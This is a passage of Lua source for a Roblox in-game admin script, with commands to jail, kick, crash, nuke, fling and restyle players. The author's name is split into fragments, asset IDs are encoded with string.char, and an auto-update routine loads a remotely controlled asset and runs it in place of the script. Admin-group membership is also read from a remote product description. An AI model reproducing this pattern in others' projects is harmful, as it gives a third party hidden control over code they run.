  877. local Suc, Error = ypcall(coroutine.wrap(Script))
  878.  
  879. if not Suc then
  880. Error = CORE:HandleError(Error, Speaker)
  881. end
  882.  
  883. return Suc,Error
  884. end
  885. end
  886.  
  887. function CORE:GetTime(Regular, FullDate)
  888. if Regular == nil then Regular = true end
  889. local Meridiem = ""
  890. if Regular == true then Meridiem = " AM" end
  891. local SecondsOfToday = math.fmod(os.time(), 60*60*24)
  892. local Hour = math.floor(SecondsOfToday / (60*60))
  893. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  894. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  895. if Hour > 12 and Regular == true then
  896. Hour = Hour - 12
  897. Meridiem = " PM"
  898. end
  899. Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
  900. if #Hour <= 1 then Hour = "0"..Hour end
  901. if #Minute <= 1 then Minute = "0"..Minute end
  902. if #Second <= 1 then Second = "0"..Second end
  903. local Return = Hour..":"..Minute..":"..Second..Meridiem
  904. if FullDate == true and Date then Return = Date.." "..Return end
  905. return Return
  906. end
  907.  
  908. function CORE:RemoveAdmin(Speaker)
  909. local Answer = true -- false
  910. if not CORE:NilPlayer(Speaker) then
  911. Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
  912. end
  913. if Answer == "Yes" or CORE:NilPlayer(Speaker) then
  914. if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
  915. for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
  916. for _,Item in pairs(Player:GetChildren()) do
  917. if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
  918. Item:Destroy()
  919. end
  920. end
  921. for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
  922. if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
  923. GUI:Destroy()
  924. end
  925. end
  926. end end
  927. for _,Car in pairs(Cars) do
  928. Car:Destroy()
  929. end
  930. CORE:FixLighting()
  931. while wait() do
  932. if script:FindFirstChild("Override") then script.Override.Value = true end
  933. Settings,CORE,IRC = nil,{},{}
  934. if Sound then Sound:Stop() end
  935. if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
  936. script:ClearAllChildren() script:Destroy() script.Disabled = true
  937. end
  938. end
  939. end
  940.  
  941. function CORE:MakeBase()
  942. for _,Get in pairs(Workspace:GetChildren()) do
  943. if Get.Name == "Base" or Get.Name == "BasePlate" then
  944. Get:Destroy()
  945. end
  946. end
  947. local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  948. end
  949.  
  950. function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
  951. if IsAbusive == nil then IsAbusive = false end
  952. if Commands[CommandName] then table.remove(Commands[CommandName]) end
  953. Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
  954. end
  955.  
  956. function CORE:FixLighting() coroutine.wrap(function()
  957. ModLighting = false
  958. wait(0.2)
  959. Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  960. Server.Lighting.FogColor = Color3.new(0,0,0)
  961. Server.Lighting.Brightness = 1
  962. Server.Lighting.TimeOfDay = 14
  963. Server.Lighting.FogEnd = 100000
  964. end)() end
  965.  
  966. function CORE:Round(Number)
  967. if Number >= 0.5 then
  968. return math.ceil(Number)
  969. elseif Number < 0.5 then
  970. return math.floor(Number)
  971. end
  972. end
  973.  
  974. local AdminID,Got = nil,false
  975. repeat wait()
  976. Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
  977. until Got == true
  978.  
  979. function CORE:GetTable(ID)
  980. local Thing = nil
  981. repeat wait()
  982. ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
  983. until Thing
  984. return Thing
  985. end
  986.  
  987. function CORE:InAdminGroup(Speaker)
  988. local IsIn = false
  989. for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  990. if Speaker:IsInGroup(Get) then
  991. IsIn = true
  992. end
  993. end
  994. if IsIn == true then
  995. return true
  996. else
  997. GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
  998. return false
  999. end
  1000. end
  1001.  
  1002. function CORE:ReverseTable(Table)
  1003. if type(Table) ~= "table" then return Table end
  1004. local NewTable = {}
  1005. for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  1006. return NewTable
  1007. end
  1008.  
  1009. function CORE:Log(LogTable, Player, Chat)
  1010. local PlayerName = tostring(Player)
  1011. if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
  1012. table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
  1013. end
  1014.  
  1015. function CORE:Jail(Player)
  1016. if not Player then return nil end
  1017. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  1018. Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  1019. local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  1020. local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  1021. local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  1022. local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  1023. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
  1024. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  1025. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  1026. local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  1027. Cell:MoveTo(Vector3.new(0,3,0))
  1028.  
  1029. if Player.Character and Player.Character:FindFirstChild("Torso") then
  1030. Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
  1031. Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
  1032. end
  1033. table.insert(Dispose, Cell)
  1034. Jails[Player.Name] = Cell
  1035. end
  1036.  
  1037. function CORE:UnJail(Player)
  1038. if not Player then return nil end
  1039. if Jails[Player.Name] then
  1040. Jails[Player.Name]:Destroy()
  1041. Jails[Player.Name] = nil
  1042. end
  1043. end
  1044.  
  1045. function CORE:ChangeName(Player, NewName)
  1046. if not Player or not NewName then return nil end
  1047. if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
  1048. local NewName = STRING:FormatReplace(Player, NewName)
  1049.  
  1050. for _,Obj in pairs(Player.Character:GetChildren()) do
  1051. if Obj.Name == "Label" then Obj:Destroy() end
  1052. end
  1053.  
  1054. local Head = Player.Character.Head
  1055. local HeadClone = Head:Clone()
  1056.  
  1057. -- make actual head invisible
  1058. Head.Transparency = 1
  1059. ypcall(function() Head.face.Transparency = 1 end)
  1060.  
  1061. -- make fake head visible
  1062. HeadClone.Transparency = 0
  1063. ypcall(function() HeadClone.face.Transparency = 0 end)
  1064.  
  1065. local Label = Instance.new("Model", Player.Character)
  1066. Label.Name = "Label"
  1067.  
  1068. local Model = Instance.new("Model", Label)
  1069. Model.Name = NewName
  1070.  
  1071. local HumanoidClone = Instance.new("Humanoid", Model)
  1072. coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  1073.  
  1074. HeadClone.Position = Vector3.new(0,100,0)
  1075. HeadClone.CanCollide = false
  1076. ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
  1077.  
  1078.  
  1079. Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
  1080. HeadClone.Parent = Model
  1081. local Weld = Instance.new("Weld", HeadClone)
  1082. Weld.Part0 = HeadClone
  1083. Weld.Part1 = Head
  1084. end)
  1085. end
  1086. end
  1087.  
  1088. function CORE:UpdateAdmin()
  1089. if Server.Storage:FindFirstChild("PreventMMLUpdate") then
  1090. return nil
  1091. end
  1092. local UpdateModel = AdminID
  1093. if UpdateModel == 0 then return end
  1094. local NewAdminModel = nil
  1095. ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
  1096. if NewAdminModel then
  1097. local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
  1098. if NewAdmin then
  1099. local NewVersion = NewAdmin:FindFirstChild("Version")
  1100. if NewVersion.Value ~= CORE.Version.Value then
  1101. if ExploitModule then
  1102. ExploitModule.Disabled = true
  1103. ExploitModule:Destroy()
  1104. end
  1105. NewAdmin.Disabled = true
  1106. NewAdmin.Parent = Workspace
  1107. if not Settings then
  1108. local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
  1109. if NewSettings then NewSettings.Parent = Workspace end
  1110. end
  1111. wait() NewAdmin.Disabled = false
  1112. CORE:RemoveAdmin()
  1113. else
  1114. NewAdminModel:Destroy()
  1115. end
  1116. end
  1117. end
  1118. end
  1119.  
  1120. function CORE:UnpackPlayers(Players)
  1121. local PlayerNames = ""
  1122. for Num,Player in pairs(Players) do
  1123. if Player ~= nil then
  1124. if Num ~= #Players then
  1125. PlayerNames = PlayerNames..Player.Name..", "
  1126. else
  1127. PlayerNames = PlayerNames..Player.Name
  1128. end
  1129. end
  1130. end
  1131. return PlayerNames
  1132. end
  1133.  
  1134. function CORE:GetValue(Value)
  1135. if Value:IsA("StringValue") then
  1136. if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
  1137. if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
  1138. if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
  1139. if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
  1140. if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
  1141. if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
  1142. if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  1143. for Num,Admin in pairs(Settings.Ranks["Admin"]) do
  1144. if Admin == Value.Value then
  1145. table.remove(Settings.Ranks["Admin"],Num)
  1146. end
  1147. end
  1148. end end
  1149. end
  1150. end
  1151.  
  1152. function CORE:GetPlayer(ID)
  1153. local Return = {"Unknown", ID}
  1154. if tonumber(ID) then
  1155. for _,Data in pairs(CharacterCache) do
  1156. if ID == Data[2] then
  1157. return Data
  1158. end
  1159. end
  1160. ypcall(function()
  1161. local Name = Server.Players:GetNameFromUserIdAsync(ID)
  1162. if Name then
  1163. local Data = {Name, ID}
  1164. table.insert(CharacterCache, Data)
  1165. Return = Data
  1166. end
  1167. end)
  1168. else
  1169. local Name = tostring(ID)
  1170. for _,Data in pairs(CharacterCache) do
  1171. if string.lower(Name) == string.lower(Data[1]) then
  1172. return Data
  1173. end
  1174. end
  1175. ypcall(function()
  1176. local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
  1177. if PlayerID then
  1178. Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
  1179. local Data = {Name, PlayerID}
  1180. table.insert(CharacterCache, Data)
  1181. Return = Data
  1182. end
  1183. end)
  1184. end
  1185.  
  1186. return Return
  1187. end
  1188.  
  1189. function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
  1190. if ID and #tostring(ID) >= 1 then
  1191. local PlayerName = nil
  1192.  
  1193. local Players = STRING:Scan(ID, Speaker)
  1194. if #Players >= 1 then -- if player is found in server
  1195. ID = Players[1].UserId
  1196. elseif tonumber(ID) then
  1197. local Data = CORE:GetPlayer(ID)
  1198. PlayerName = Data[1]
  1199. else
  1200. local Data = CORE:GetPlayer(tostring(ID))
  1201. PlayerName = Data[1]
  1202. ID = Data[2]
  1203. end
  1204.  
  1205. if tonumber(ID) == 20018 then -- exploding easter bunny
  1206. local OldID = ID
  1207. ID = 1
  1208. if Speaker then
  1209. if RANK:GetRank(Speaker) == "Member" then
  1210. coroutine.wrap(function()
  1211. wait(1)
  1212. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
  1213. end)()
  1214. else ID = OldID
  1215. end
  1216. end
  1217. elseif tonumber(ID) == 1311 then -- ffjosh
  1218. local OldID = ID
  1219. ID = 1
  1220. if Speaker then
  1221. if RANK:GetRank(Speaker) == "Member" then
  1222. coroutine.wrap(function()
  1223. wait(1)
  1224. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
  1225. end)()
  1226. else ID = OldID
  1227. end
  1228. end
  1229. end
  1230.  
  1231. if tonumber(ID) then
  1232. local Position = nil
  1233. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  1234. if ManualPos then
  1235. Position = ManualPos
  1236. else
  1237. Position = Player.Character.Torso.Position
  1238. end
  1239. end
  1240. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  1241. wait() Player:LoadCharacter() wait()
  1242. if Position then Player.Character:MoveTo(Position) end
  1243. if not Perm then
  1244. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
  1245. end
  1246. if NameChar and PlayerName then
  1247. wait(2)
  1248. CORE:ChangeName(Player, PlayerName)
  1249. end
  1250. end
  1251. end
  1252. end)() end
  1253.  
  1254. function CORE:GenerateShield(Player)
  1255. if not Player then return nil end
  1256. if not Player.Character then return nil end
  1257. local Torso = Player.Character:FindFirstChild("Torso")
  1258. if not Torso then return nil end
  1259.  
  1260. local Shield = Player.Character:FindFirstChild("Shield")
  1261. if Shield then Shield:Destroy() end
  1262.  
  1263. Shield = Instance.new("Part", Player.Character)
  1264. Shield.Name = "Shield"
  1265. Shield.Locked = true
  1266. Shield.CanCollide = false
  1267. Shield.Size = Vector3.new(10,10,10)
  1268. Shield.Shape = "Ball"
  1269. Shield.Color = GUI:GetColor()
  1270. Shield.Transparency = 0.5
  1271. Shield.TopSurface = "Smooth"
  1272. Shield.BottomSurface = "Smooth"
  1273. Shield.Anchored = true
  1274. Shield.Position = Torso.Position
  1275.  
  1276. local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
  1277. local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
  1278.  
  1279. Hum:Play()
  1280.  
  1281. Shield.Touched:connect(function(Part)
  1282. if Part.Parent ~= Server.Workspace then
  1283. local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
  1284. if Humanoid then
  1285. local Char = Humanoid.Parent
  1286. if Char:IsA("Model") and Humanoid.Health > 0 then
  1287. if Char ~= Player.Character then
  1288. Char:BreakJoints()
  1289. Zap:Play()
  1290. end
  1291. end
  1292. end
  1293. end
  1294. end)
  1295.  
  1296. coroutine.wrap(function() repeat wait()
  1297. Shield.CFrame = Torso.CFrame
  1298. until Torso.Parent == nil or Shield.Parent == nil end)()
  1299. end
  1300.  
  1301. function CORE:FlingPlayer(Player)
  1302. if Player and Player.Character then
  1303. if Player.Character:FindFirstChild("Torso") then
  1304. local Fling = Instance.new("BodyForce", Player.Character.Torso)
  1305. Fling.Name = "Fling"
  1306. Fling.force = Vector3.new(10000,10000,10000)
  1307. end
  1308. end
  1309. end
  1310.  
  1311. function CORE:Kick(Player, CustomMessage)
  1312. if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
  1313. coroutine.wrap(function()
  1314. CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
  1315. wait(1)
  1316. Player:Kick(CustomMessage)
  1317. end)()
  1318. end
  1319.  
  1320. function CORE:Crash(Player)
  1321. local Parent = Player
  1322. if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
  1323. elseif Player.Character then Parent = Player.Character end
  1324.  
  1325. CORE:ExecuteResource("Crash", Parent)
  1326. end
  1327.  
  1328. function CORE:RestoreCamera(Player)
  1329. if Player.Backpack then
  1330. CORE:ExecuteResource("RestoreCamera", Player.Backpack)
  1331. end
  1332. end
  1333.  
  1334. function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
  1335. local function ScanInstance(Object)
  1336. if #Object:GetChildren() > 0 then
  1337. for _,Obj in pairs(Object:GetChildren()) do
  1338. local IsType = false
  1339. if ObjTypes and #ObjTypes > 0 then
  1340. for _,ObjType in pairs(ObjTypes) do
  1341. if Obj:IsA(ObjType) then
  1342. IsType = true
  1343. break
  1344. end
  1345. end
  1346. else
  1347. IsType = true
  1348. end
  1349. if IsType == true then
  1350. ActiveFunc(Obj)
  1351. end
  1352. ScanInstance(Obj)
  1353. end
  1354. end
  1355. end
  1356. ScanInstance(BaseObj)
  1357. end
  1358.  
  1359. function CORE:AnchorPlayer(Player)
  1360. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1361.  
  1362. Player.Character.Humanoid.WalkSpeed = 0
  1363. for _,Object in pairs(Player.Character:GetChildren()) do
  1364. if Object:IsA("BasePart") then
  1365. Object.Anchored = true
  1366. end
  1367. end
  1368. end
  1369.  
  1370. function CORE:UnanchorPlayer(Player)
  1371. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1372.  
  1373. Player.Character.Humanoid.WalkSpeed = 16
  1374. for _,Object in pairs(Player.Character:GetChildren()) do
  1375. if Object:IsA("BasePart") then
  1376. Object.Anchored = false
  1377. end
  1378. end
  1379. end
  1380.  
  1381. function CORE:InvisiblePlayer(Player)
  1382. if not Player or not Player.Character then return end
  1383.  
  1384. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
  1385. end
  1386.  
  1387. function CORE:VisiblePlayer(Player)
  1388. if not Player or not Player.Character then return end
  1389.  
  1390. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
  1391. end
  1392.  
  1393. function CORE:Nuke(Player) coroutine.wrap(function()
  1394. local Pos = CFrame.new(0,1,0)
  1395. if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
  1396. local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
  1397. local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
  1398. local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
  1399. local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
  1400. local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
  1401.  
  1402. local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
  1403.  
  1404. Server.Lighting.Brightness = 5
  1405. Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
  1406. Server.Lighting.OutdoorAmbient = Color3.new(1,1,1)
  1407.  
  1408. local Exp = Instance.new("Explosion", Server.Workspace)
  1409. Exp.Position = Pos.p
  1410. Exp.BlastPressure = 10000000
  1411. Exp.BlastRadius = 1000000
  1412. Exp.Hit:connect(function(Part)
  1413. if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
  1414. ypcall(function()
  1415. Part.Anchored = false
  1416. Part.BrickColor = BrickColor.new("Black")
  1417. Part.Material = "Slate"
  1418. Part:BreakJoints()
  1419. end)
  1420. end
  1421. end)
  1422.  
  1423. local BoomSound = Instance.new("Sound",workspace)
  1424. BoomSound.SoundId = "rbxassetid://12222242"
  1425. BoomSound.Volume = 10
  1426. BoomSound.Looped = false
  1427. BoomSound.Pitch = 0.1
  1428. BoomSound.Name = "FU- BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOM"
  1429. BoomSound:Play()
  1430. for i = 0,100,0.5 do
  1431. Blast.Anchored = true
  1432. Wave.Anchored = true
  1433. BlastMesh.Scale = Vector3.new(i,i,i)
  1434. WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
  1435. Blast.CFrame = Pos
  1436. wait()
  1437. end
  1438. BoomSound:Stop()
  1439. Blast:Destroy()
  1440. Wave:Destroy()
  1441. wait()
  1442. BoomSound:Destroy()
  1443. Effect:Destroy()
  1444. for i = 10,5,-1 do
  1445. Server.Lighting.Brightness = (i-5) + 1
  1446. Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
  1447. Server.Lighting.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
  1448. wait(0.05)
  1449. end
  1450. end)() end
  1451.  
  1452. function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
  1453. local AssetID = tonumber(AssetID)
  1454. local Item = nil
  1455. if AssetID and AssetID ~= 1055299 then
  1456. local CanInsert = true
  1457. if AbuseMode then
  1458. for _,ID in pairs(RemoteAbuseGear) do
  1459. if AssetID == tonumber(ID) then CanInsert = false break end
  1460. end
  1461. for _,ID in pairs(Settings.AbusableGear) do
  1462. if AssetID == tonumber(ID) then CanInsert = false break end
  1463. end
  1464. end
  1465. if CanInsert then
  1466. Item = Server.IS:LoadAsset(AssetID)
  1467. if GetFirstChild then
  1468. Item = Item:GetChildren()[1]
  1469. if FirstChildTypes and Item then
  1470. local ValidType = false
  1471. for _,Type in pairs(FirstChildTypes) do
  1472. if Item:IsA(Type) then
  1473. ValidType = true
  1474. break
  1475. end
  1476. end
  1477. if ValidType == false then
  1478. Item = nil
  1479. end
  1480. end
  1481. end
  1482. if Item and Parent then
  1483. Item.Parent = Parent
  1484. end
  1485. end
  1486. end
  1487. return Item
  1488. end
  1489.  
  1490. function CORE:GivePackage(Player, PID) coroutine.wrap(function()
  1491. if not Player or not Player.Character then return nil end
  1492. PID = tonumber(PID)
  1493. for _,Obj in pairs(Player.Character:GetChildren()) do
  1494. if Obj:IsA("CharacterMesh") then Obj:Destroy() end
  1495. end
  1496. if PID then
  1497. -- back when we needed HttpService to get packages.
  1498. --[[
  1499. if PackageCache[PID] then
  1500. for _,ID in pairs(PackageCache[PID]) do
  1501. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1502. end
  1503. else
  1504. local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
  1505. if IDsJSON then
  1506. local IDs = REMOTE:Decode(IDsJSON)
  1507. if IDs then
  1508. if not IDs["Error"] then
  1509. table.insert(PackageCache, IDs)
  1510. for _,ID in pairs(IDs) do
  1511. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1512. end
  1513. end
  1514. end
  1515. end
  1516. end
  1517. ]]
  1518. -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
  1519. local IDs = {}
  1520. ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
  1521. if #IDs > 0 then
  1522. for _,ID in pairs(IDs) do
  1523. local PackagePart = CORE:Insert(ID)
  1524. for _,Obj in pairs(PackagePart:GetChildren()) do
  1525. if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
  1526. Obj.Parent = Player.Character
  1527. elseif Obj:IsA("Folder") then
  1528. if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
  1529. Obj:GetChildren()[1].Parent = Player.Character
  1530. end
  1531. end
  1532. end
  1533. end
  1534. end
  1535. end
  1536. end)() end
  1537.  
  1538. function CORE:ChangeBet(Bet)
  1539. if tostring(Bet) and Bet ~= Settings.Bet then
  1540. for Index,Data in pairs(Commands) do
  1541. Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
  1542. end
  1543. Settings.Bet = Bet
  1544. end
  1545. end
  1546.  
  1547. function CORE:ResetLighting()
  1548. ModLighting = false wait(0.2) ModLighting = true
  1549. end
  1550.  
  1551. function CORE:Fly(Player, Force)
  1552. if Player and Player.Character then
  1553. local StopFly = Instance.new("RemoteFunction", Player.Character)
  1554. StopFly.Name = "StopMMLFly"
  1555. CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
  1556. end
  1557. end
  1558.  
  1559. function CORE:GiveTools(Player, Type)
  1560. if not Player or not Player:FindFirstChild("Backpack") then return nil end
  1561. Type = string.lower(Type)
  1562. local _,RankNum = RANK:GetRank(Player)
  1563. local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
  1564. local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  1565.  
  1566. if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
  1567. for Name,Type in pairs(BaseBuildTools) do
  1568. local Tool = Instance.new("HopperBin", Player.Backpack)
  1569. Tool.Name = Name
  1570. Tool.BinType = Type
  1571. end
  1572. elseif Type == "psbtools" then
  1573. for _,Tool in pairs(BuildTools) do
  1574. CORE:Insert(Tool, Player.Backpack, true)
  1575. end
  1576. elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
  1577. if F3X then
  1578. local F3X = F3X:Clone()
  1579. F3X.Parent = Player.Backpack
  1580. end
  1581. elseif Type == "btools" then
  1582. if F3X then
  1583. local F3X = F3X:Clone()
  1584. F3X.Parent = Player.Backpack
  1585. end
  1586. for Name,Type in pairs(BaseBuildTools) do
  1587. local Tool = Instance.new("HopperBin", Player.Backpack)
  1588. Tool.Name = Name
  1589. Tool.BinType = Type
  1590. end
  1591. for _,Tool in pairs(BuildTools) do
  1592. CORE:Insert(Tool, Player.Backpack, true)
  1593. end
  1594. else
  1595. for _,Region in pairs(ToolRegions) do
  1596. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  1597. if Type == "all" then
  1598. local NewItem = Item:Clone()
  1599. NewItem.Parent = Player.Backpack
  1600. elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
  1601. local NewItem = Item:Clone()
  1602. NewItem.Parent = Player.Backpack
  1603. end
  1604. end)
  1605. end
  1606. end
  1607. end
  1608.  
  1609. function CORE:Scale(Player, ScalePercent)
  1610. if not Player or not Player.Character or not tonumber(ScalePercent) then return end
  1611. local Ratio = ScalePercent/100
  1612. if Ratio < 0.05 then Ratio = 0.05 end
  1613. if Ratio > 100 then Ratio = 100 end
  1614. if Ratio > 1 then Ratio = math.ceil(Ratio) end
  1615. local Char = Player.Character
  1616.  
  1617. local Clean = Char:FindFirstChild("Clean")
  1618. if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
  1619. Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
  1620.  
  1621. local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
  1622. local Welds = {}
  1623. local Parts = {}
